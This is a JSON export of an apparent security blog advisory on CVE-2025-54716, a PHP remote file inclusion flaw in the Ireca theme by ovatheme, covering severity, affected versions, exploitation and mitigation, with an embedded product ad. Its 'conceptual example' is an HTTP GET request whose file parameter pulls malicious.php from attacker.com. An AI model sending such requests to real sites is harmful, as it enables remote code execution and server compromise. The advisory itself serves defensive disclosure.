{"id":72917,"date":"2025-09-08T08:15:41","date_gmt":"2025-09-08T08:15:41","guid":{"rendered":""},"modified":"2025-09-26T19:45:54","modified_gmt":"2025-09-27T01:45:54","slug":"cve-2025-54716-php-remote-file-inclusion-vulnerability-in-ireca-by-ovatheme","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-54716-php-remote-file-inclusion-vulnerability-in-ireca-by-ovatheme\/","title":{"rendered":"<strong>CVE-2025-54716: PHP Remote File Inclusion Vulnerability in Ireca by ovatheme<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The critical vulnerability CVE-2025-54716 is a PHP Remote File Inclusion (RFI) flaw that exists in the Ireca product by the ovatheme. This vulnerability is capable of compromising systems or causing data leakage by exploiting the improper control of the filename for the Include\/Require statement in the PHP program. The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-30403-heap-buffer-overflow-vulnerability-in-mvfst-impacts-quic-sessions\/\"  data-wpil-monitor-id=\"82319\">impact of this vulnerability<\/a> is significant, as it affects all versions of Ireca up to 1.8.5. Addressing this vulnerability is a pressing issue for all <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53192-critical-vulnerability-in-unsupported-apache-commons-ognl-leads-to-potential-arbitrary-code-execution\/\"  data-wpil-monitor-id=\"80573\">Ireca<\/a> users to prevent potential cyber-attacks and secure their digital assets.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-54716<br \/>\nSeverity: Critical (8.1 CVSS Score)<br \/>\nAttack Vector: Network-based<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-5997-privileged-api-misuse-leads-to-potential-system-compromise-in-beamsec-phishpro\/\"  data-wpil-monitor-id=\"80822\">Potential system compromise<\/a> or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2349252954\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 720px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 22px; font-weight: 600; display: flex; align-items: center; letter-spacing: -0.02em;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 10px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 42px; height: 42px;\" \/>\r\n    <\/a>\r\n    Share secrets securely\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 14px; color: #d1d5db;\">\r\n    Ameeba is private infrastructure for communication and sensitive work built on encrypted identity instead of exposed corporate identity systems.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 18px; color: #a1a1aa;\">\r\n    Passwords, credentials, confidential files, screenshots, internal discussions, sensitive AI context, and private coordination should not become exposed across ordinary communication platforms.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 24px; color: #e4e4e7;\">\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Encrypted identity<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Private Spaces for organizations and teams<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 End-to-end encrypted chat, calls, files, and notes<\/li>\r\n    <li style=\"margin-bottom: 8px;\">\u2022 Sensitive AI work and protected collaboration<\/li>\r\n    <li>\u2022 Built for information that cannot leak<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px; color: #ffffff;\">\r\n    Our mission is to secure human work alongside AI.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Download Ameeba\r\n    <\/a>\r\n\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 8px; font-weight: 500;\">\r\n      Learn More\r\n    <\/a>\r\n  <\/div>\r\n<\/div><\/div>\n<p>Product | Affected Versions<\/p>\n<p>Ireca by ovatheme | All versions up to 1.8.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The exploit for CVE-2025-54716 takes advantage of the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48160-improper-control-of-filename-for-php-program-in-cocobasic-caliris\/\"  data-wpil-monitor-id=\"84650\">PHP program&#8217;s<\/a> weakness in handling the Include\/Require statements. By manipulating the filename in these statements, an attacker can trigger a PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3671-critical-local-file-inclusion-vulnerability-in-wpgym-wordpress-gym-management-system-plugin\/\"  data-wpil-monitor-id=\"80513\">File Inclusion<\/a>. This allows the attacker to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50177-code-execution-vulnerability-in-windows-message-queuing\/\"  data-wpil-monitor-id=\"80547\">execute arbitrary PHP code<\/a> within the context of the application, potentially leading to a full system compromise or data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2581361637\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how this vulnerability might be exploited. This could be a simple HTTP GET request that includes a malicious <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-25174-critical-php-remote-file-inclusion-vulnerability-in-beeteam368-extensions\/\"  data-wpil-monitor-id=\"81089\">PHP file from a remote<\/a> server:<\/p>\n<pre><code class=\"\" data-line=\"\">GET \/index.php?file=http:\/\/attacker.com\/malicious.php HTTP\/1.1\nHost: vulnerable-ireca.com<\/code><\/pre>\n<p>In this example, the attacker is attempting to include `malicious.php` from `attacker.com` by manipulating the `file` parameter in the HTTP GET request. If the application doesn&#8217;t properly handle and sanitize this parameter, it may <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-53518-an-integer-overflow-vulnerability-leading-to-arbitrary-code-execution-in-the-biosig-project-libbiosig\/\"  data-wpil-monitor-id=\"83250\">lead to the execution<\/a> of the `malicious.php` on the server side.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>The most effective way to mitigate this vulnerability is by applying the patch provided by the vendor. Until the patch can be applied, temporary mitigation can be achieved by using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to monitor and block any suspicious activity. In addition, it&#8217;s recommended to regularly update and audit your PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8714-critical-postgresql-vulnerability-allowing-malicious-code-injection-by-superusers\/\"  data-wpil-monitor-id=\"80787\">code to prevent such vulnerabilities<\/a> from being exploited.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The critical vulnerability CVE-2025-54716 is a PHP Remote File Inclusion (RFI) flaw that exists in the Ireca product by the ovatheme. This vulnerability is capable of compromising systems or causing data leakage by exploiting the improper control of the filename for the Include\/Require statement in the PHP program. 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